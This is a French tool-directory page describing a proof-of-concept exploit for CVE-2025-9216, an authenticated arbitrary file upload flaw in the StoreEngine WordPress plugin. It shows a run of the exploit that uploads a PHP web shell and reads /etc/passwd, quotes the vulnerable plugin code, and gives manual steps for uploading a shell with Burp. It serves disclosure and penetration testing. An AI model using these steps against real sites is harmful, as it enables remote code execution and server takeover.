Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-9216 — StoreEngine – Plugin eCommerce WordPress puissant pour paiements, adhésions, affiliés, ventes et plus <= 1.4.0 - Téléchargement arbitraire de fichier authentifié (Abonné+) | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-9216
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'Intrusion
GitHubd0n601/cve-2025-9216

CVE-2025-9216

StoreEngine – Plugin eCommerce WordPress puissant pour paiements, adhésions, affiliés, ventes et plus <= 1.4.0 - Téléchargement arbitraire de fichier authentifié (Abonné+)

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

StoreEngine – Puissant plugin eCommerce WordPress pour paiements, adhésions, affiliés, ventes et plus <= 1.4.0 - Téléchargement arbitraire de fichiers par utilisateur authentifié (Abonné+)

Le plugin StoreEngine contient une vulnérabilité dans sa fonctionnalité d'import/export CSV qui permet à tout utilisateur authentifié (abonné, auteur, éditeur, etc.) de télécharger des fichiers arbitraires et d'exécuter du code à distance. La vulnérabilité découle de deux failles de sécurité : (1) le point de terminaison d'import CSV manque de vérifications de validation des fichiers et de vérifications des permissions, et ne repose que sur la vérification du nonce pour la sécurité, et (2) le storeengine_nonce est exposé à TOUS les utilisateurs frontaux via le JavaScript du plugin. Cette combinaison permet à tout utilisateur authentifié d'extraire le nonce des pages frontales et de l'utiliser pour télécharger des shells web PHP via le point de terminaison storeengine_csv/import, accordant ainsi aux utilisateurs abonnés+ la capacité d'exécuter du code arbitraire sur le serveur.

TL;DR Exploits

  • Un POC CVE-2025-9216.py est fourni pour démontrer le téléchargement par un administrateur d'un shell web nommé omg.php.
root@kitploit:~
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}

Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php

Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

Détails

Fonction vulnérable de téléchargement de fichiers

L'action AJAX storeengine_csv/import appelle la fonction import() à la ligne 51 du fichier /wp-content/plugins/storeengine/addons/csv/ajax/import.php, qui manque de vérifications appropriées des permissions et de validation du type de fichier :

root@kitploit:~
public function import() {
    if ( ! isset( $_FILES['file'] ) ) {
        wp_send_json_error( 'No file uploaded.' );
    }

    $file   = $_FILES['file'];
    $folder = Helper::get_upload_dir() . '/csv/';

    if ( ! file_exists( $folder ) ) {
        wp_mkdir_p( $folder );
    }

    $filename = sanitize_file_name( $file['name'] );
    $target   = trailingslashit( $folder ) . $filename;

    if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
        wp_send_json_error( 'Failed to move uploaded file.' );
    }

    wp_send_json_success( [
        'filename' => $filename,
    ] );
}

La fonction utilise uniquement sanitize_file_name() pour nettoyer le nom du fichier mais n'effectue aucune validation du type de fichier ni vérification des capacités. Cela permet de télécharger tout type de fichier, y compris des fichiers PHP pouvant être exécutés par le serveur web.

Vulnérabilité d'exposition du nonce

Le storeengine_nonce est exposé à TOUS les utilisateurs frontaux via le JavaScript du plugin. Cela se produit dans la méthode _get_script_data() à la ligne 279 du fichier /wp-content/plugins/storeengine/includes/assets.php :

root@kitploit:~
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

Ce nonce est ensuite localisé dans le JavaScript frontal via la méthode frontend_scripts() à la ligne 120 :

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Vérification du nonce

Le nonce est vérifié dans la méthode AbstractRequestHandler::check_permission() à la ligne 510 du fichier /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php :

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

Cette combinaison permet à tout utilisateur authentifié de télécharger des fichiers arbitraires, y compris des shells web PHP pour exécution de code à distance.

Reproduction manuelle

  1. Connectez-vous au panneau d'administration et accédez au plugin StoreEngine.
  2. Allez dans la section Import CSV (si disponible dans l'interface d'administration).
  3. Lancez Burp Suite ou un outil similaire et commencez à intercepter le trafic.
  4. Essayez de télécharger un fichier et interceptez la requête POST vers /wp-admin/admin-ajax.php appelant l'action storeengine_csv/import.
  5. Modifiez la requête pour inclure un fichier arbitraire ; dans l'exemple ci-dessous, nous téléchargeons un shell web PHP.
  6. Envoyez la requête et recevez {"success":true,"data":{"filename":"shell.php"}}.
  7. Accédez au shell web à l'adresse https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php et exécutez du code.
Télécharger l’outil